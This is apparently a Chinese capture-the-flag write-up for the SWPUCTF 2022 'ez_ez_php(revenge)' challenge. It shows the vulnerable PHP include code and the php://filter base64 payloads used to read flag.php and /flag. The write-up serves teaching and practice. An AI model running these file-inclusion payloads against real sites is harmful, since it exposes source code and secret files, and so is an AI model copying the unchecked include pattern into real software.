第一周3

题解 :[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

  1. 打开网址发现是php代码 如下:
    “<?php
    error_reporting(0);
    if (isset($_GET[‘file’])) {
    if ( substr($_GET[“file”], 0, 3) === “php” ) {
    echo “Nice!!!”;
    include($_GET[“file”]);
    }

    else {
    echo “Hacker!!”;
    }

}else {
highlight_file(FILE);
}
//flag.php”

  1. 我们代码审计一下看看 :
    用get方式提交参数file
    file参数前三个为php

  2. 让我们想到了文件包含 :
    file=php://filter/convert.base64-encode/resource=flag.php
    出现base64文字 我们去翻译一下
    https://i-blog.csdnimg.cn/blog_migrate/58547239b48814c750c10917fa50806f.png

  3. 这个提示我们flag可能在/flag中 我们继续php伪协议
    file=php://filter/read=convert.base64-encode/resource=/flag
    发现结果仍为base64文字 去翻译
    求出flag

  4. 总结:
    关于php伪协议的利用
    php代码认识
    base64要了解